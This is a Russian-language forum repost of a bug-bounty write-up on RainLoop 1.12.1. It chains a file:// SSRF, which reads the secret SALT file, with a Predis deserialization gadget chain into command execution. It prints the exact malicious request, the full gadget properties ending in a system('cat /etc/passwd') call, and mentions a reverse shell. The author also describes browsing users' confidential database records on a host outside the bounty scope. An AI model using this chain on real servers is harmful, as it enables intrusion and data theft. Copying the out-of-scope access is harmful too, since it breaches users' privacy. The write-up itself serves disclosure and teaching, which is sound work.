• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Проходим путь от шелла до кеша — через аттач

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,381
Розыгрыши
0
Реакции
694
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Представь: старый почтовый веб‑клиент, давно забытый и оставленный пылиться в закоулках интернета, но по‑прежнему таящий в себе кладезь... Это история о том, как глубокое погружение в RainLoop привело к тому, что я нашел RCE и способ получить доступ к данным пользователей крупной компании, которая не пожалела вознаграждения.
Это исследование получило первое место на Для просмотра ссылки Войди или Зарегистрируйся в категории «Пробив WEB». Соревнование ежегодно проводится компанией Awillix.
RainLoop — это проект на PHP с открытым исходным кодом и четырьмя тысячами звезд на GitHub. Мы совершим увлекательное путешествие по лабиринтам его кода, заглянем в механизмы криптографии и проделаем пару трюков с хостами, которые, казалось бы, в скоуп не входят, но позволят сорвать джекпот.


warning​

Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.

Исходная позиция​

Все началось обычным вечером, когда я, вооружившись чашкой кофе, проводил первичную разведку баг‑баунти‑скоупа хостера beget.com. В SSL-сертификате одного из сотен доменов мелькнул любопытный хост. Это был почтовый клиент, который компания предоставляла своим зарегистрированным пользователям, на поддомене вида fancy.beget.email.

Там был установлен RainLoop, что показалось мне довольно странным, так как основным веб‑мейлером выступал Roundcube. И тут я просто не смог устоять перед соблазном покопаться в исходниках.

Это приложение я видел впервые, к тому же версия оказалась не самой свежей — 1.12.1. Все говорит о том, что покопаться в исходниках будет отличной идеей, к тому же это моя страсть! Мотивирует одна только возможность найти что‑то интересное.

Проект оказался нишевым, но не совсем — поисковик FOFA находит 21 433 IP-адреса, по которым отвечает RainLoop.

Для просмотра ссылки Войди или Зарегистрируйся
Что ж, отличное комбо! Приступаем к исследованию.


Опасная десериализация​

Скачав Для просмотра ссылки Войди или Зарегистрируйся RainLoop, я начал искать потенциальные точки входа для атаки. Моей целью было найти уязвимость, которая позволила бы выполнить произвольный код или команды на сервере.

Одной из первых находок стал метод RainLoop\Utils::DecodeKeyValuesQ(). Он обрабатывает данные, которые затем попадают в функцию unserialize, классический такой вектор для RCE.

Код:
./rainloop/v/1.12.1/app/libraries/RainLoop/Utils.php
static public function DecodeKeyValuesQ($sEncodedValues, $sCustomKey = '')
{
        $aResult = @\unserialize(
            \RainLoop\Utils:ecryptStringQ(
                \MailSo\Base\Utils::UrlSafeBase64Decode($sEncodedValues), \md5(APP_SALT.$sCustomKey)));

        return \is_array($aResult) ? $aResult : array();
}
На стороне клиента в куках хранятся данные, которые затем обрабатывает этот метод. Но есть загвоздка: данные шифруются с использованием длинного случайного ключа APP_SALT. Подобрать его нереально, и эта защита делает подмену данных произвольными невозможной, надежно блокируя подобный вектор атаки.


Читалка секретов​

Следующим этапом стал поиск других уязвимостей, которые помогли бы раскрыть этот ключ. Благо приложение имеет большой пласт самых разных фич.

Один из десятка методов, RainLoop\Actions\DoComposeUploadExternals(), оказался настоящим подарком для атакующего. Данные, поступающие от пользователя, без какой‑либо постобработки попадают напрямую в CURLOPT_URL.

Код:
/rainloop/v/1.12.1/app/libraries/RainLoop/Actions.php
public function DoComposeUploadExternals()
{
        ...
        $aExternals = $this->GetActionParam('Externals', array());
        if (\is_array($aExternals) && 0 < \count($aExternals))
        {
            ...
            foreach ($aExternals as $sUrl)
            {
                if ($rFile && $oHttp->SaveUrlToFile($sUrl, $rFile, '', $sContentType, $iCode, $this->Logger(), 60,
            ...
        }
        return $this->DefaultResponse(FUNCTION, $mResult);
}
./rainloop/v/1.12.1/app/libraries/MailSo/Base/Http.php
public function SaveUrlToFile($sUrl, $rFile, ...){
        ...
        $aOptions = array(
            CURLOPT_URL => $sUrl,
            ...
        $oCurl = \curl_init();
        \curl_setopt_array($oCurl, $aOptions);
      ...
        $bResult = \curl_exec($oCurl);
        ...
        return $bResult;
}
И это открывает двери для множества атак, включая SSRF через схемы вроде gopher://, так как curl поддерживает десятки разных протоколов, в том числе чтение локальных файлов через file://, что было для меня главным!

Метод сам по себе не отдавал содержимое файла сразу, поэтому для успешной эксплуатации требовалась совокупность действий:

  • Создать новое письмо и прикрепить к нему произвольный аттач, например 123.txt.
  • Сохранить письмо в черновики и перехватить этот запрос (1).
  • В запросе (1) заменить POST-данные такими:
    XToken=CSRF_TOKEN&Action=ComposeUploadExternals&Externals[]=file:///var/www/html/data/SALT.php
  • Отправить и скопировать хеш аттача из респонса (2).
  • Поменять хеш в (1) на (2) и отправить запрос.
  • В аттаче нового письма в черновиках будет содержимое файла SALT.php.
Для просмотра ссылки Войди или Зарегистрируйся
Так я наконец смог прочитать файл, в котором хранилась секретная соль.

Код:
/var/www/html/data/SALT.php
<?php //a58a35a5c3c08f4f047364531dee2dc3fbd99005c0c7e5abedcc0f531def5b1b329e151c4b801d27248bce1d27996eca3364
Соль, как видишь, имеет внушительный размер и полностью используется для шифрования строк.

./rainloop/v/1.12.1/include.php​

$sSalt = @file_get_contents(APP_DATA_FOLDER_PATH.'SALT.php');
Это тот самый ключ, который нужен для обхода криптографической защиты. Теперь пазл начал складываться, но не хватало главной детали.


Извилистая цепочка до RCE​

На этом этапе я столкнулся с новой головоломкой. RainLoop оказался довольно скромным в плане используемых библиотек, да и те, что были, не всегда подгружались через autoload. Мой арсенал для создания цепочки десериализации был, мягко говоря, ограниченным. На «закуску» у меня было всего несколько библиотек:

Код:
array(7) {
  [0]=>
  string(8) "RainLoop"
  [1]=>
  string(8) "Facebook"
  [2]=>
  string(8) "PHPThumb"
  [3]=>
  string(6) "Predis"
  [4]=>
  string(16) "SabreForRainLoop"
  [5]=>
  string(7) "Imagine"
  [6]=>
  string(9) "Detection"
}
Для просмотра ссылки Войди или Зарегистрируйся, мой верный спутник в таких делах, лишь грустно вздохнул и самоустранился. Стандартные гаджеты здесь неприменимы... Конечно же, я сразу помчался к великому «Гроку» и не менее умному «Клоду», ведь они за считаные промпты соберут мне то, что нужно. Но как только я начал разгребать их глюки, понял, что проще разбираться самому.

Намотав сопли на кулак, я полез в дебри и ощутил все прелести PHP Object Injection на своей шкуре. После многих часов кропотливого анализа я все же смог построить уникальную и универсальную цепочку для выполнения произвольных команд, используя только одну библиотеку — Predis.

Цепочка получилась длинной, боюсь, объяснение утомит любого неискушенного читателя. Если нет текущей потребности в таком чейне, то можно спокойно мотать до раздела «Эксплуатация». Если ты такой же фанатик, как и я, читай дальше!

Начинаем с деструктора Predis\Response\Iterator\MultiBulkTuple.

Код:
./rainloop/v/1.12.1/app/libraries/Predis/Response/Iterator/MultiBulkTuple.php
    public function __destruct()
    {
                $this->iterator->drop(true);
    }
Его код вызывает метод drop(true) у объекта, находящегося в $this->iterator. Если у этого объекта нет собственного метода drop, сработает его магический метод __call().

Поэтому следующее звено цепи — Predis\Pipeline\Pipeline.

Код:
./rainloop/v/1.12.1/app/libraries/Predis/Pipeline/Pipeline.php
    public function __call($method, $arguments)
    {
                $command = $this->client->createCommand($method, $arguments);
                $this->recordCommand($command);

                return $this;
    }
Нетрудно заметить, что можно вызвать еще один __call, используя $this->client. Но это не тот случай, когда коллов много не бывает! Теперь можем подставить объект, у которого будет явно вызываемый метод createCommand. А именно класс Predis\Profile\RedisVersion300, который наследует createCommand от абстрактного класса Predis\Profile\RedisProfile.

Код:
./rainloop/v/1.12.1/app/libraries/Predis/Profile/RedisProfile.php
    public function createCommand($commandID, array $arguments = array())
    {
                $commandID = strtoupper($commandID);

                if (!isset($this->commands[$commandID])) {
                    throw new ClientException("Command '$commandID' …");
        }

                $commandClass = $this->commands[$commandID];
                $command = new $commandClass();
                $command->setArguments($arguments);

                if (isset($this->processor)) {
                        $this->processor->process($command);
                }

                return $command;
    }
Чтобы удовлетворить условиям и не дать нашей цепочке рассыпаться на этом звене, нужно присвоить довольно нетривиальные значения свойствам этого объекта:

$this->commands = ['CREATECOMMAND' => new \Predis\Command\ServerShutdown()];
$this->processor = new \Predis\Command\Processor\KeyPrefixProcessor();
Тогда получается, что первым делом «убиваем» if, затем не даем упасть на строке $command->setArguments($arguments);, так как ServerShutdown, наследующий от Predis\Command\Command, будет содержать метод setArguments. Это будет своеобразной заглушкой, которая позволит добраться до условия с processor, но и одновременно учитывает код следующего объекта $this->processor и его метода process. При этом $command обязательно должен реализовывать интерфейс CommandInterface, что успешно соблюдается, так как abstract class Command implements CommandInterface.

Код:
./rainloop/v/1.12.1/app/libraries/Predis/Command/Processor/KeyPrefixProcessor.php
public function process(CommandInterface $command)
{
        if ($command instanceof PrefixableCommandInterface) {
                $command->prefixKeys($this->prefix);
         } elseif (isset($this->commands[$commandID =                               strtoupper($command->getId())])) {
        call_user_func($this->commands[$commandID], $command,                       $this->prefix);
        }
}
Невооруженным глазом виден любимый всеми «гаджетоманами» call_user_func. Но не тут‑то было!

Чтобы допрыгнуть до этого участка кода, нужно сделать так, чтобы $command удовлетворял ряду условий. Так как это объект и он идет вторым аргументом в желанном call_user_func, он не удовлетворяет требуемым условиям вызова. Точнее, не выйдет выполнить большинство, если не все пригодные для RCE функции, так как объект первым аргументом никто из них точно не ждет.

Поэтому следует стиснуть зубы и продвинуть цепь еще на одно звено, заполнив свойства KeyPrefixProcessor следующими значениями:

Код:
$this->prefix = '';
$this->commands = ['SHUTDOWN' => [new \Predis\PubSub\DispatcherLoop(), 'run']];
Тем самым call_user_func отправляет нас дальше в Predis\PubSub\DispatcherLoop, а если точнее, в его метод run.

./rainloop/v/1.12.1/app/libraries/Predis/PubSub/DispatcherLoop.php
public function run()
{
        foreach ($this->pubsub as $message) {
            $kind = $message->kind;

            if ($kind !== Consumer::MESSAGE && $kind !== Consumer:MESSAGE) {
                if (isset($this->subscriptionCallback)) {
                    $callback = $this->subscriptionCallback;
                    call_user_func($callback, $message);
                }
                continue;
            }

            if (isset($this->callbacks[$message->channel])) {
                $callback = $this->callbacks[$message->channel];
                call_user_func($callback, $message->payload);
            } elseif (isset($this->defaultCallback)) {
                  ...
            }
        }
}
Первый блок — и снова мимо, вторым аргументом опять выступает объект ($message), а вот идущий следом call_user_func дает‑таки возможность задать имя функции как строку через $this->callbacks[$message->channel] и произвольный строковый аргумент через $message->payload.

Поэтому подстраиваем свойства класса так:


Код:
$this->callbacks = ['command' => 'system'];
            $this->pubsub = [new \Predis\Configuration\Options()];
И если с первым присвоением все понятно, то во втором добавилась толика магии PHP. Дело в том, что \Predis\Configuration\Options имеет магический метод __get, который выдает любые значения, находящиеся в его $this->options:

Код:
public function __get($option)
    {
                if (isset($this->options[$option]) || …) {
            return $this->options[$option];
        }
        …
}
И наряду с другими магическими методами вызывается так же неявно при вызовах вроде $message->payload. Соответственно, можем заполнить его подходящим образом:

$this->options = ['kind' => 'pmessage', 'channel' => 'command', 'payload' => 'cat /etc/passwd'];
Первое значение массива не даст свернуть не в тот блок, второе вызволит system из $this->callbacks, а $message->payload в нужный момент вернет нам значение cat /etc/passwd, которое попадет в функцию $this->callbacks['command'].

Иными словами, выполнится наш заветный код:

call_user_func('system', 'cat /etc/passwd');
Этот чейн покрывает всю ветку Predis 1. Его можно использовать в любом коде, а с небольшими модификациями, скорее всего, получится применять и в старших версиях. PoC-скрипт для автоматической генерации доступен Для просмотра ссылки Войди или Зарегистрируйся. Можешь пользоваться! Возможно, когда лень отступит, я постараюсь закоммитить в PHPGGC.


Эксплуатация​

В тот момент у меня было чувство настоящего триумфа. После долгого brainfuck-шторма у меня появилась возможность выполнять произвольные команды в приложении! Достаточно было добавить куки‑параметр rlsmauth с закодированным реверс‑шеллом, и я получил командную строку на сервере fancy.beget.email.

Для просмотра ссылки Войди или Зарегистрируйся
И каково же было мое удивление, когда, покопавшись на хосте чуть глубже, я понял, что мог поступить куда проще. Оказалось, что PHP-FPM висел на 9000-м порте и обычный SSRF через gopher:// сработал бы на ура. Все это время я красноглазил над Predis-гаджетами, а решение лежало прямо под носом!

На этом этапе мой интерес был более чем удовлетворен, можно отправлять репорт и получить как минимум «спасибо». Но волею судеб, так как терминал с шеллом был открыт, я все‑таки решил посмотреть, что хранит это приложение в базе данных. И, о чудо, ткнув в пару случайных таблиц, увидел, что приложением все еще пользуются и там хранится конфиденциальная информация пользователей. Которую я мог читать и изменять, а мой кейс автоматически поднялся до PI или Critical. В этот момент все части пазла встали на свои места, и картина была просто прекрасна!


Репорт и митигация​

Я сразу же сел составлять репорт, в котором я подробно объяснил суть произошедшего. Что это 0-day-уязвимость и, судя по всему, может работать в старших версиях RainLoop (и работает, вплоть до 1.17.0), а поскольку проект находится в архивном состоянии, официальных патчей, скорее всего, уже не будет.

Для просмотра ссылки Войди или Зарегистрируйся
Атакующий в руках с этим эксплоитом может получить доступ к данным пользователей и модифицировать код целевого приложения для дальнейшей эксплуатации.

В качестве смягчения я предложил патч:

  • занулить метод DoComposeUploadExternals (например, return false);
  • добавить во все вызовы unserialize второй аргумент: ['allowed_classes' => false].
Ответ из Beget не заставил себя долго ждать и приятно меня удивил. «Прикольно, я вообще не знал, что эта штука у нас поднята», — написал мне в ответ админ, добавив, что мои отчеты читать по‑настоящему интересно. Компания оценила находку по максимуму и назначила награду в несколько сотен тысяч рублей!

Мы отправили уведомительное письмо на support@rainloop.net, чтобы разработчик мог закрыть уязвимость, но ответа нет уже несколько месяцев.


Больше чем просто баг​

Этот кейс не только про уязвимость, но и про страсть багхантеров к исследованиям. Хост, который не входил в скоуп, стал отправной точкой для обнаружения критического бага и средством приятного честного обогащения. Думаю, такой паттерн может сработать в любом скоупе и в любой компании, даже в крупнейших типа FAANG.

Я писал этот текст не только для номинации на премию, но и чтобы донести некоторые, порой неочевидные мысли до начинающих багхантеров.

Ведь раскрытых репортов катастрофически мало, а интересных статей по ним тем более — по пальцам можно пересчитать. Респект всем неравнодушным ребятам, которые тратят свое драгоценное время на исследования, ложащиеся в основу статей и тулз.

Не скупись и ты, читатель. Лайки, звездочки, даже простое спасибо в телегу — все это может показаться банальным, но сильно мотивирует и бодрит!

Пользуясь моментом, благодарю спонсоров и организаторов подобных мероприятий. Хорошее дело делаете! Ваши старания и расходы обязательно дадут эффект — и для вас, и для сообщества
 
Activity
So far there's no one here
Сверху Снизу